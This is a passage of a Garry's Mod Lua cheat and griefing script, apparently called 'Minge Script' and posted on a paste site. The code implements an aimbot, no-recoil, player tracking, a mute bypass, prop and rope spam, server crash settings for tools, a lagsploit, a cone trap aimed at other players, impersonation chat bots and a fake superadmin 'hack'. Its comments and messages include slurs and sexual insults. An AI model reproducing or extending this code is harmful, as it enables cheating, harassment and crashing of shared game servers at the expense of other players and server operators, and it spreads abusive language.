  2779.        if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU BABY TOUCHER" ) return end      
  2780.        MS.Lagsploiting = !MS.Lagsploiting            
  2781.        EnabledDisabled( "LAGSPLOIT", MS.Lagsploiting )
  2782. end
  2783. CCA( "ms_lagsploit", ToggleLagsploit )
  2784.  
  2785. //evolve mute killer
  2786. local OConCommand = FindMetaTable( "Player" ).ConCommand
  2787. FindMetaTable( "Player" ).ConCommand = function( cmd )
  2788.        if( type( cmd ) == "string" and string.find( string.lower( cmd ), "-voicerecord" ) ) then return end
  2789. end
  2790. RunConsoleCommand = function( ... )
  2791.        if( ... == "-voicerecord" ) then return end
  2792.        return RCC( ... )
  2793. end
  2794.  
  2795. //no recoil
  2796. if( MS.Settings.Aimbot.norecoil ) then
  2797.        local OEyeAngles = FindMetaTable( "Player" ).SetEyeAngles
  2798.        FindMetaTable( "Player" ).SetEyeAngles = function( self, angle )
  2799.                if( string.find( string.lower( debug.getinfo( 2 ).short_src ), "/weapons/" ) ) then return end
  2800.                OEyeAngles( self, angle )
  2801.        end
  2802. end
  2803.  
  2804. //magical physgun colours
  2805. local function initiatePhysgunOverride()
  2806.                matproxy.Add(
  2807.                        {
  2808.                                name = "PlayerWeaponColor",
  2809.                                init = function( self, mat, values )
  2810.                                        self.ResultTo = values.resultvar
  2811.                                end,
  2812.                              
  2813.                                bind = function( self, mat, ent )
  2814.                                        if( !IsValid( ent ) ) then return end                  
  2815.                                        if( !IsValid( ent:GetOwner() ) or !ent:GetOwner():IsPlayer() ) then return end
  2816.  
  2817.                                        if( MS.Settings.Visuals.overridephysgun and ent:GetOwner() == LocalPlayer() ) then
  2818.                                                if( MS.Settings.Visuals.haloselection == 1 )then --team colour
  2819.                                                        MS.PhysOverrideCol = Vector( team.GetColor( LocalPlayer():Team() ).r /255, team.GetColor( LocalPlayer():Team() ).g /255, team.GetColor( LocalPlayer():Team() ).b /255 )
  2820.                                                elseif( MS.Settings.Visuals.haloselection == 2 )then --health
  2821.                                                        MS.PhysOverrideCol = Vector( ( math.Clamp( LocalPlayer():Health()/100, 0, 1 )*-1 )+1, math.Clamp( LocalPlayer():Health()/100, 0, 1 ), 0 )
  2822.                                                elseif( MS.Settings.Visuals.haloselection == 3 )then -- custom
  2823.                                                        MS.PhysOverrideCol = Vector( MS.Settings.Visuals.CustomR/255, MS.Settings.Visuals.CustomG/255, MS.Settings.Visuals.CustomB/255 )              
  2824.                                                elseif( MS.Settings.Visuals.haloselection == 4 )then -- RAINBOW
  2825.                                                        MS.PhysOverrideCol = Vector( HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).r / 255, HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).g / 255, HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).b / 255 )
  2826.                                                else -- incase of fuckup, go blue
  2827.                                                        MS.PhysOverrideCol = Vector( 0, 0, 1 )
  2828.                                                end
  2829.                                                MS.PhysOverrideMul = ( 1 + math.sin( CurTime() * 5 ) )*0.5
  2830.                                        else
  2831.                                                MS.PhysOverrideCol = ent:GetOwner():GetWeaponColor();
  2832.                                                if( !isvector( MS.PhysOverrideCol ) ) then return end
  2833.                                                MS.PhysOverrideMul = ( 1 + math.sin( CurTime() * 2 ) ) * 0.5
  2834.                                        end
  2835.                                      
  2836.                                        mat:SetVector( self.ResultTo, MS.PhysOverrideCol + MS.PhysOverrideCol * MS.PhysOverrideMul );  
  2837.                                end
  2838.                        }
  2839.                 )
  2840.        end
  2841.      
  2842. // shit to run on load
  2843. local function ShitToRunOnLoad()
  2844.        RCC( "M9KGasEffect", 0 )
  2845.        RCC( "cl_updaterate", 1000 )
  2846.        RCC( "cl_cmdrate", 0 )
  2847.        RCC( "cl_interp", 0 )
  2848.        RCC( "cl_interp_ratio", 1 )
  2849.        RCC( "rate", 1048576 )
  2850.        RCC( "cl_drawspawneffect", 0 )
  2851.        HKR( "Think", "AutoPropScroll" )
  2852.        if( MS.Settings.Visuals.addwire ) then
  2853.                table.insert( MS.PropChamClasses, "gmod_wire*" )
  2854.        end
  2855.        if( MS.Settings.Visuals.nosky ) then
  2856.                HKA( "PreDrawSkyBox", "removeSkybox", function() render.Clear( math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime()/10 ) *100 ), 255 ) return true end )
  2857.        end
  2858.        if( MS.Settings.Aimbot.noshake ) then
  2859.                HKA( "CalcView", "NoShake", NoShake )
  2860.        end
  2861.        if( ulx ) then
  2862.                function ulx.showMotdMenu() MSError( "ULX MOTD DESTROYED" ) return end
  2863.        end
  2864.        if( MODERN != nil ) then
  2865.                function MODERN.OpenMOTD() return end
  2866.        end
  2867.        net.Receive( "sBlockGMSpawn", function()
  2868.                hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" )
  2869.        end )
  2870.        net.Receive( "open_menu", function()
  2871.                MSError( "GARBAGE MOTD DESTROYED" )
  2872.        end )
  2873.        net.Receive( "closebutton_repeat", function() end )
  2874.        HKR( "CalcView", "rp_deathPOV" )
  2875.        initiatePhysgunOverride()      
  2876. end
  2877. ShitToRunOnLoad()
  2878.  
  2879. //for load priority
  2880. HKA( "PostGamemodeLoaded", "ShitForLoadPriotity", function()
  2881.        ShitToRunOnLoad()
  2882. end )
  2883.  
  2884. //various concommands
  2885. CCA( "buttonglass1", function()
  2886.        RCC( "button_model", "models/props/cs_militia/gun_cabinet_glass.mdl" )
  2887. end )
  2888. CCA( "buttonglass2", function()
  2889.        RCC( "button_model", "models/props_c17/tv_monitor01_screen.mdl" )
  2890. end )
  2891. CCA( "buttonglass3", function()
  2892.        RCC( "button_model", "models/props_wasteland/light_spotlight02_base.mdl" )
  2893. end )
  2894. CCA( "buttonglass4", function()
  2895.        RCC( "button_model", "models/props/cs_militia/reload_bullet_tray.mdl" )
  2896. end )
  2897. CCA( "buttonglass5", function()
  2898.        RCC( "button_model", "models/mechanics/various/211.mdl" )
  2899. end )
  2900. CCA( "buttonlag", function()
  2901.        RCC( "button_model", "models/props_phx/misc/potato_launcher_chamber.mdl" )
  2902. end )
  2903. CCA( "buttonstove", function()
  2904.        RCC( "button_model", "models/props/cs_militia/stove01.mdl" )
  2905. end )
  2906. CCA( "getinfo", function()
  2907.        MSMsg( "MODEL - " .. LocalPlayer():GetEyeTrace().Entity:GetModel() )
  2908.        MSMsg( "CLASS - " .. LocalPlayer():GetEyeTrace().Entity:GetClass() )
  2909. end )
  2910. CCA( "wepclass", function()
  2911.        MSMsg( LocalPlayer():GetActiveWeapon():GetClass() )
  2912. end )
  2913. CCA( "ms_jobinfo", function()
  2914.        if( !DarkRP ) then
  2915.                MSError( "THIS FEATURE REQUIRES DARKRP YOU BABY RAPIST." )
  2916.                return
  2917.        end
  2918.        for k,v in pairs( RPExtraTeams ) do
  2919.                MSMsg( "_____________________________________________________________________________________" )
  2920.                PrintTable( v )
  2921.        end    
  2922. end )
  2923. CCA( "+ms_torchspam", function() MS.TorchSpamming = true end )
  2924. CCA( "-ms_torchspam", function() MS.TorchSpamming = false end )
  2925.  
  2926. //ropenado
  2927. CCA( "+ms_ropenado", function( _, _, args )
  2928.        MS.PrevAng = LocalPlayer():EyeAngles()
  2929.        MS.RopeSpamming = true;
  2930. end )
  2931. CCA( "-ms_ropenado", function()
  2932.        MS.RopeSpamming = false;
  2933.        LocalPlayer():SetEyeAngles( MS.PrevAng )
  2934. end )
  2935.  
  2936. //promode/tardmode
  2937. local function Promode()
  2938.        MS.NewProColour = math.random( 1, #MS.ProColours )
  2939.        while MS.NewProColour == MS.LastProColour do
  2940.                MS.NewProColour = math.random( 1, #MS.ProColours )
  2941.        end
  2942.      
  2943.        if( DarkRP ) then
  2944.                if( LocalPlayer():Health() >0 ) then
  2945.                        RCC( "darkrp", "sleep" ); RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" )
  2946.                        timer.Simple( 7, function() if LocalPlayer().Sleeping then RCC( "darkrp", "sleep" ); RCC( "play", "bot/come_to_papa.wav" ) end end )
  2947.                else
  2948.                        RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" ); RCC( "play", "bot/come_to_papa.wav" )
  2949.                end
  2950.        else
  2951.                RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] );      RCC( "physgun_wheelspeed", "75" ); RCC( "kill" );
  2952.        end
  2953.        MS.LastProColour = MS.NewProColour
  2954. end
  2955. CCA( "promode", Promode )
  2956.  
  2957. local function Tardmode()
  2958.        MS.NewTardColour = math.random( 1, #MS.TardColours )
  2959.        while MS.NewTardColour == MS.LastTardColour do
  2960.                MS.NewTardColour = math.random( 1, #MS.TardColours )
  2961.        end
  2962.      
  2963.        if( DarkRP ) then              
  2964.                if( LocalPlayer():Health() >0 ) then
  2965.                        RCC( "darkrp", "sleep" ); RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  2966.                        timer.Simple( 7, function() if LocalPlayer().Sleeping then RCC( "darkrp", "sleep" ) end end )
  2967.                else
  2968.                        RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  2969.                end
  2970.        else
  2971.                RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "kill" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  2972.        end
  2973.        MS.LastTardColour = MS.NewTardColour
  2974. end
  2975. CCA( "tardmode", Tardmode )
  2976.  
  2977. //cam.End3D crash immunity
  2978. function cam.End3D()
  2979.        if( debug.getinfo( 2 ).short_src == "LuaCmd" ) then
  2980.                return
  2981.        else
  2982.                return CamEnd3DShit()
  2983.        end
  2984. end
  2985.  
  2986. //less disgusting rotate scripts than falco's
  2987. local function Rotate180()
  2988.         LocalPlayer():SetEyeAngles( Angle( LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r ) )
  2989. end
  2990. CCA( "ms_rotate", Rotate180 )
  2991. local function Rotate180Up()
  2992.         LocalPlayer():SetEyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r ) )
  2993.         RCC( "+jump" )
  2994.         timer.Simple( 0.1, function() RCC( "-jump" ) end )
  2995. end
  2996. CCA( "ms_rotate2", Rotate180Up )
  2997.  
  2998. //ms_help
  2999. local function MsInsertHelp( name, description )
  3000.         table.insert( MS.MsHelpCommandTable, { name, description } )
  3001. end
  3002. MsInsertHelp( "+ms_aim", "aimbot" )
  3003. MsInsertHelp( "+ms_bhop", "bunny hop" )
  3004. MsInsertHelp( "+ms_menu", "menu, double tap to stay open" )
  3005. MsInsertHelp( "+ms_ropenado", "rope spammer, hold right mouse button for ropes" )
  3006. MsInsertHelp( "+ms_torchspam", "torch spammer" )
  3007. MsInsertHelp( "+ms_triggerbot", "triggerbot" )
  3008. MsInsertHelp( "ms_autostrafe", "automatically does A/D for you when you're bhopping/surfing" )
  3009. MsInsertHelp( "ms_bjorn", 'pretends to be a retarded foreigner, for when you get told "GET RP NAME OR BAN"' )
  3010. MsInsertHelp( "ms_conefuck", "traps the nearest player to your crosshair inside a cone" )
  3011. MsInsertHelp( "ms_debug 1/0", "receive debug messages" )
  3012. MsInsertHelp( "ms_deaglelogs", "opens deagle logs" )
  3013. MsInsertHelp( "ms_forceulxsuper", "forces ulx to give you superadmin" )
  3014. MsInsertHelp( "ms_friendadd", "( partial nick, * ) add to friends list" )
  3015. MsInsertHelp( "ms_friendremove", "( partial nick, * ) remove from friends list" )
  3016. MsInsertHelp( "ms_gag", "( partial nick, * ) voice mutes players" )
  3017. MsInsertHelp( "ms_glow", "big ass dynamic light" )
  3018. MsInsertHelp( "ms_innocentroleplayer", "identity changer, hold both mouse buttons to skip job change" )
  3019. MsInsertHelp( "ms_isolate", "( partial nick, admins, friends, * to disable ), isolates a player's visuals" )
  3020. MsInsertHelp( "ms_jobinfo", "print current server's darkrp job table" )
  3021. MsInsertHelp( "ms_losetrack", "( partial nick, admins, friends, * ) stops tracking player" )
  3022. MsInsertHelp( "ms_missilelauncher", "toggles auto spawning/throwing bombs with physgun" )
  3023. MsInsertHelp( "ms_mute", "( partial nick, * ) stops anything from muted players showing in chat" )
  3024. MsInsertHelp( "ms_noobler", "describes and links the noobler script" )
  3025. MsInsertHelp( "ms_nopriority", "( partial nick, * ) removes ms_track priority" )
  3026. MsInsertHelp( "ms_overridephysgun", "overrides clientside physgun colour" )
  3027. MsInsertHelp( "ms_playerchams", "toggle player chams" )
  3028. MsInsertHelp( "ms_priority", "( partial nick ) makes a player's ms_track beam stand out" )
  3029. MsInsertHelp( "ms_propchams", "toggle prop chams" )
  3030. MsInsertHelp( "ms_rotate", "180 rotate" )
  3031. MsInsertHelp( "ms_rotate2", "boost rotate" )
  3032. MsInsertHelp( "ms_stackah", "sets stacker and old precision tool to crash settings" )
  3033. MsInsertHelp( "ms_track", "( partial nick, admins, friends, * ) draws a line to tracked players" )
  3034. MsInsertHelp( "ms_unmute", "( partial nick, * ) removes ms_mute from players" )
  3035. MsInsertHelp( "ms_vomitcash", "spits $5 notes onto the ground every two seconds" )
  3036. MsInsertHelp( "ms_wepcolours", "prints everyone's physgun colour" )
  3037. MsInsertHelp( "ms_who", "prints everyone's name, rank and steamid" )
  3038. MsInsertHelp( "buttonglass( 1-5 )", "stealthy button killing models" )
  3039. MsInsertHelp( "buttonlag", "laggy as fuck button model" )
  3040. MsInsertHelp( "buttonstove", "stove button model" )
  3041. MsInsertHelp( "getinfo", "get aimentity model/class" )
  3042. MsInsertHelp( "promode", "gives you a no beam/glow physgun colour, sets wheelspeed to 75, sleeps in darkrp to change colour without respawning" )
  3043. MsInsertHelp( "tardmode", "gives you an inconspicuous physgun, sets wheelspeed to 7, sleeps in darkrp to change colour without respawning" )
  3044. MsInsertHelp( "wepclass", "get active weapon class" )
  3045.  
  3046. local function MsHelp()
  3047.         for k,v in pairs( MS.MsHelpCommandTable ) do
  3048.                 if( string.len( v[ 1 ] ) >MS.BiggestString ) then
  3049.                         MS.BiggestString = string.len( v[ 1 ] )
  3050.                 end
  3051.         end
  3052.         MS.BiggestString = MS.BiggestString + 6
  3053.         MSMsg( string.rep( " ", MS.BiggestString -11 ) .. "-MS HELP-" )
  3054.         MSMsg( "-CONSOLE COMMAND-" .. string.rep( " ", MS.BiggestString -17 ) .. "-SCRIPT-\n" )
  3055.         for k,v in pairs( MS.MsHelpCommandTable ) do
  3056.                 MSMsg( v[ 1 ] .. string.rep( " ", MS.BiggestString - string.len( v[ 1 ] ) ) .. v[ 2 ] )
  3057.         end
  3058. end
  3059. CCA( "ms_help", MsHelp )
  3060.  
  3061. //glow
  3062. local function MSGlow()
  3063.         if( MS.ScreenGrab ) then return end
  3064.         light = DynamicLight( LocalPlayer():EntIndex() )
  3065.         light.Pos = LocalPlayer():GetShootPos()
  3066.         light.r = 5
  3067.         light.g = 5
  3068.         light.b = 5
  3069.         light.Brightness = 7
  3070.         light.Size = 50000
  3071.         light.Decay = 0
  3072.         light.DieTime = CurTime() + 0.1
  3073. end
  3074. local function ToggleGlow()
  3075.         MS.Glowing = !MS.Glowing
  3076.        
  3077.         if MS.Glowing then
  3078.                 HKA( "Think", "MSGlow", MSGlow )
  3079.                 RCC( "play", "buttons/combine_button7.wav" )
  3080.         else
  3081.                 HKR( "Think", "MSGlow" )
  3082.                 RCC( "play", "buttons/combine_button1.wav" )  
  3083.         end    
  3084. end
  3085. CCA( "ms_glow", ToggleGlow )
  3086.  
  3087. //zooom
  3088. local function BetterZoom( ply, pos, angles, fov )
  3089.         if( MS.ScreenGrab ) then return end    
  3090.         MS.ZoomActive = true
  3091.        
  3092.         if( input.IsKeyDown( KEY_LSHIFT ) ) then
  3093.                 MS.Zoom = MS.Zoom + 35
  3094.         elseif( input.IsKeyDown( KEY_LCONTROL ) ) then
  3095.                 MS.Zoom = MS.Zoom - 35
  3096.         end
  3097.         MS.ZoomView.origin = pos + ( angles:Forward() *MS.Zoom )
  3098.         MS.ZoomView.angles = angles
  3099.         MS.ZoomView.fov = fov
  3100.         return MS.ZoomView
  3101. end
  3102.  
  3103. local function zooom()
  3104.         if( MS.ScreenGrab ) then return end    
  3105.         if( !MS.ZoomActive and !MS.ZoomEnable ) then
  3106.                 HKA( "CalcView", "Zoom", BetterZoom )
  3107.                 RCC( "play", "buttons/button18.wav" )
  3108.                 MS.ZoomEnable = true  
  3109.         elseif( MS.ZoomActive and MS.ZoomEnable ) then
  3110.                 MS.Zoom = 0
  3111.                 MS.ZoomEnable = false
  3112.                 MS.ZoomActive = false
  3113.                 RCC( "play", "buttons/button19.wav" )
  3114.                 HKR( "CalcView", "Zoom" )
  3115.         end
  3116. end
  3117. CCA( "ms_zooom", zooom )
  3118.  
  3119. //vomitcash
  3120. local function VomitCash()
  3121.         if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU FUCKING DICK HEAD." ) return end
  3122.         MS.Vomiting = !MS.Vomiting    
  3123.         if( MS.Vomiting ) then
  3124.                 timer.Create( "VomitCash", 2, 0, function() RCC( "darkrp", "dropmoney", "5" ) end )
  3125.         else
  3126.                 timer.Destroy( "VomitCash" )
  3127.         end
  3128. end
  3129. CCA( "ms_VomitCash", VomitCash )
  3130.  
  3131. //SIQQEST KICKFLIPS
  3132. local function TonyHawk()
  3133.         MS.KickFlipping = !MS.KickFlipping
  3134.         EnabledDisabled( "TONY HAWK MODE", MS.KickFlipping )
  3135.         if( MS.KickFlipping ) then
  3136.                 RCC( "gm_snapangles", 180 )
  3137.                 RCC( "physgun_rotation_sensitivity", 2 )
  3138.                 return
  3139.         end
  3140.         RCC( "gm_snapangles", 45 )
  3141.         RCC( "physgun_rotation_sensitivity", 0.05 )
  3142. end
  3143. CCA( "ms_tonyhawk", TonyHawk )
  3144.  
  3145. //stackah
  3146. local function Stackah()
  3147.         RCC( "precision_offset", "999999999999999999999999999999" );
  3148.         RCC( "stacker_count", "5" );
  3149.         RCC( "stacker_offsetx", "999999999999999999999999999999" );
  3150.         RCC( "stacker_offsety", "999999999999999999999999999999" );
  3151.         RCC( "stacker_offsetz", "999999999999999999999999999999" );
  3152.         RCC( "stacker_rotp", "999999999999999999999999999999" );
  3153.         RCC( "stacker_roty", "999999999999999999999999999999" );
  3154.         RCC( "stacker_rotr", "999999999999999999999999999999" )
  3155. end
  3156. CCA( "ms_stackah", Stackah )
  3157.  
  3158. //[LAZINESS INTENSIFIES]
  3159. local function Noobler()
  3160.         RCC( "say", "you show promise couch thrower" )
  3161.         timer.Simple( 2.5, function() RCC( "say", "http://pastebin.com/zUbG27Ps" ) end )
  3162.         timer.Simple( 5, function() RCC( "say", "well made propkill script, it's got wallhack, esp and rotate scripts for surfing" ) end )
  3163.         timer.Simple( 7.5, function() RCC( "say", "there are instructions on how to get it working inside" ) end )
  3164. end
  3165. CCA( "ms_noobler", Noobler )
  3166.  
  3167. //BJORN 2 BOOGALOO - 50% SUCCESS RATE EDITION
  3168. local function ToggleBjornKeyboard()
  3169.         if( !DarkRP ) then return end
  3170.         net.Start( "DarkRP_ToggleChat" )
  3171.         net.SendToServer()
  3172. end
  3173. local function BjornTyperIndicatorIsReal()
  3174.         for k,v in pairs( ents.FindByClass( "chatindicator" ) ) do
  3175.                 if( v:GetPos():Distance( LocalPlayer():GetPos() + Vector( 0, 0, 85 ) ) < 40 ) then
  3176.                         return true
  3177.                 end
  3178.         end
  3179.         return false
  3180. end
  3181. local function EnsureBjornTyperMode()
  3182.         if( MS.IsBjorn and BjornTyperIndicatorIsReal() != MS.IsBjornTyping and MS.NextBjornType < CurTime() ) then
  3183.                 ToggleBjornKeyboard()
  3184.                 MS.NextBjornType = CurTime() + 2
  3185.         elseif( !MS.IsBjorn and BjornTyperIndicatorIsReal() and !MS.IsBjornTyping ) then
  3186.                 ToggleBjornKeyboard()
  3187.         end
  3188. end
  3189. local function BecomeTheBjorn()
  3190.         MS.IsBjorn = !MS.IsBjorn
  3191.         if( MS.IsBjorn ) then
  3192.                 MSMsg( "UNLEASHING THE BJORN - RUN AGAIN TO CANCEL" )
  3193.                 timer.Create( "Swift Exit", 300.2, 1, function() RCC( "kill" ); RCC( "ms_innocentroleplayer" ) end )
  3194.                 HKA( "Think", "BjornTyperModeMustBeStrictLikeBjorn", EnsureBjornTyperMode )
  3195.                 for k,v in pairs( MS.BjornTalks ) do
  3196.                         timer.Create( "bjorn_typer" .. tostring( k ), v[ 1 ] - math.random( 5, 20 ), 1, function() MS.IsBjornTyping = true end )
  3197.                         timer.Create( "bjorn" .. tostring( k ), v[ 1 ], 1, function()
  3198.                                 RCC( "say", v[ 2 ] )
  3199.                                 MS.IsBjornTyping = false
  3200.                         end )
  3201.                 end
  3202.         else
  3203.                 for i = 1, #MS.BjornTalks do
  3204.                         timer.Destroy( "bjorn" .. tostring( i ) )
  3205.                         timer.Destroy( "bjorn_typer" .. tostring( i ) )
  3206.                 end
  3207.                 timer.Destroy( "Swift Exit" )
  3208.                 HKR( "Think", "BjornTyperModeMustBeStrictLikeBjorn" )
  3209.                 MS.IsBjornTyping = false
  3210.                 EnsureBjornTyperMode()
  3211.         end
  3212. end
  3213. CCA( "ms_bjorn", BecomeTheBjorn )
  3214.  
  3215. //AWESOME MISSILE LAUNCHER
  3216. local function AutoPropScroll( LickMyRim )
  3217.         if LocalPlayer():KeyDown( IN_ATTACK ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" then
  3218.                 LickMyRim:SetMouseWheel( 100 )
  3219.                 if( MS.NextSpawn < CurTime() ) then
  3220.                         RCC( "gm_spawn", "models/props_phx/mk-82.mdl" )
  3221.                         MS.NextSpawn = CurTime() + 0.1
  3222.                 end
  3223.                
  3224.                 if( MS.NextSpawn < CurTime() + 0.02 and MS.NextSpawn > CurTime() ) then
  3225.                         LickMyRim:RemoveKey( IN_ATTACK )
  3226.                 end
  3227.         end
  3228. end
  3229.  
  3230. local function MISSILELAUNCHER()
  3231.         MS.Cannoning = !MS.Cannoning
  3232.         EnabledDisabled( "MISSILE LAUNCHER", MS.Cannoning )
  3233.         if( MS.Cannoning ) then
  3234.                 HKA( "CreateMove", "AutoPropScroll", AutoPropScroll )
  3235.                 return
  3236.         end
  3237.         HKR( "CreateMove", "AutoPropScroll" )
  3238. end
  3239. CCA( "ms_missilelauncher", MISSILELAUNCHER )
  3240.  
  3241. //conefuck
  3242. local function GetConeTarget()
  3243.         local ply
  3244.         MS.ConeTargetTable = player.GetAll()  
  3245.         MS.MaxFOV = 180
  3246.        
  3247.         table.sort( MS.ConeTargetTable, function( a, b ) local aX, aY = GetFOV( a ) local bX, bY = GetFOV( b ) return aX + aY < bX + bY end )
  3248.        
  3249.         for k,v in pairs( MS.ConeTargetTable ) do
  3250.                 if( !IsValid( v ) or v == LocalPlayer() or !IsVisible( v ) or v:Health() <=0 or v:InVehicle() or v:GetObserverTarget() or v:GetShootPos():Distance( LocalPlayer():GetShootPos() ) >2000 ) then continue end
  3251.                 local XFov, YFov = GetFOV( v )        
  3252.                 if( ( YFov + XFov ) /2 < MS.MaxFOV ) then
  3253.                         MS.MaxFOV, _ = GetFOV( v )
  3254.                         ply = v
  3255.                 end
  3256.         end    
  3257.         return ply
  3258. end
  3259. local function EndConeFucking()
  3260.         MS.ConeTarget = nil
  3261.         MS.FuckingPlayer = false
  3262.         MS.ConeSpawned = false
  3263. end
  3264. local function FuckPlayerWithCone( cmd )
  3265.         if( !MS.FuckingPlayer ) then return end
  3266.         if( IsValid( MS.ConeTarget ) and MS.ConeTarget:Health() >0 and IsVisible( MS.ConeTarget ) ) then
  3267.                 cmd:SetViewAngles( ( ( MS.ConeTarget:GetPos() -Vector( 0, 0, 1 ) ) -LocalPlayer():GetShootPos() ):Angle() )
  3268.                 if( MS.ConeSpawned ) then
  3269.                         timer.Simple( 0.02, function() RCC( "+attack" ) end )
  3270.                         timer.Simple( 0.1, function() RCC( "+attack2" ) end )
  3271.                         timer.Simple( 0.2, function() RCC( "-attack" ); RCC( "-attack2" ) end )
  3272.                         EndConeFucking()
  3273.                 else
  3274.                         timer.Simple( 0.01, function() RCC( "gm_spawn", "models/hunter/misc/cone2x2.mdl" ) end )
  3275.                         MS.ConeSpawned = true
  3276.                 end
  3277.         else
  3278.                 EndConeFucking()
  3279.         end
  3280. end
  3281. HKA( "CreateMove", "FuckConeTargets", FuckPlayerWithCone )
  3282. local function StartConeFucking()
  3283.         MS.FuckingPlayer = true
  3284.         MS.ConeTarget = GetConeTarget()
  3285.         MS.ConeSpawned = false
  3286. end
  3287. CCA( "ms_conefuck", StartConeFucking )
  3288.  
  3289. //thirdperson
  3290. local function ThirdPerson( ply, pos, angles, fov )
  3291.         if( MS.ScreenGrab or !MS.Settings.Visuals.thirdperson or GetViewEntity() != LocalPlayer() or LocalPlayer():InVehicle() )then return end
  3292.         MS.ThirdPersonView = {}
  3293.         CozIBackTracedIt = util.TraceLine( { start = pos - ply:GetForward()*2, endpos = pos - angles:Forward() *MS.Settings.Visuals.ThirdPersonDist, filter = player.GetAll(), mask = MASK_SHOT } )
  3294.         MS.ThirdPersonView.origin = CozIBackTracedIt.HitPos + ply:GetForward()*20
  3295.         MS.ThirdPersonView.angles = angles
  3296.         MS.ThirdPersonView.fov = fov
  3297.         return MS.ThirdPersonView
  3298. end
  3299. HKA( "CalcView", "ASSCHEEKS", ThirdPerson )
  3300. local function ThisIsSoYouArentInvisible( ply )
  3301.         if( MS.Settings.Visuals.thirdperson or ( MS.ZoomActive and MS.ZoomEnable ) ) then
  3302.                 return true
  3303.         end
  3304.         return false
  3305. end
  3306. HKA( "ShouldDrawLocalPlayer", "thisissoyouarentinvisible", ThisIsSoYouArentInvisible )
  3307.  
  3308. //EXTREME SUPERADMIN MEGA HACK
  3309. local function lmfao()
  3310.         if( ulx ) then
  3311.                 MSMsg( "...ATTEMPTING TO BRUTEFORCE ULX" ) timer.Simple( 2, function() MSMsg( "...CALCULATING BRUTEFORCE ALGORITHM" ) end ) timer.Simple( 4, function() MSMsg( "...BYPASSING SECURITY PROTOCOLS" ) end ) timer.Simple( 6, function() MSMsg( "...HACKING INTO THE MAINFRAME" ) end ) timer.Simple( 8, function() MSMsg( "...SUCCESS!" ) end ) timer.Simple( 8.5, function() chat.AddText( Color( 0, 0, 0, 255 ), "( Console ) ", Color( 160, 200, 200, 255 ), "added ", Color( 80, 0, 120, 255 ), "You ", Color( 160, 200, 200, 255 ), "to group ", Color( 0, 255, 0, 255 ), "superadmin" ) end )
  3312.         else
  3313.                 MSMsg( "SERVER DOESN'T HAVE ULX INSTALLED DICK HEAD" )
  3314.         end
  3315. end
  3316. CCA( "ms_forceulxsuper", lmfao )
  3317.  
  3318. //autostrafe
  3319. local function AutoStrafe()
  3320.         MS.Settings.AutoStrafe = !MS.Settings.AutoStrafe
  3321.         EnabledDisabled( "AUTOSTRAFE", MS.Settings.AutoStrafe )
  3322. end
  3323. CCA( "ms_autostrafe", AutoStrafe )
  3324.  
  3325. local function OverridePhysgun()
  3326.         MS.Settings.Visuals.overridephysgun = !MS.Settings.Visuals.overridephysgun
  3327.         EnabledDisabled( "PHYSGUN OVERRIDE", MS.Settings.Visuals.overridephysgun )
  3328. end
  3329. CCA( "ms_overridephysgun", OverridePhysgun )
  3330.  
  3331. MSMsg( "MINGE SCRIPT LOADED - GET LEAKED FAGGOT - TYPE MS_HELP" )
Add Comment
Please, Sign In to add comment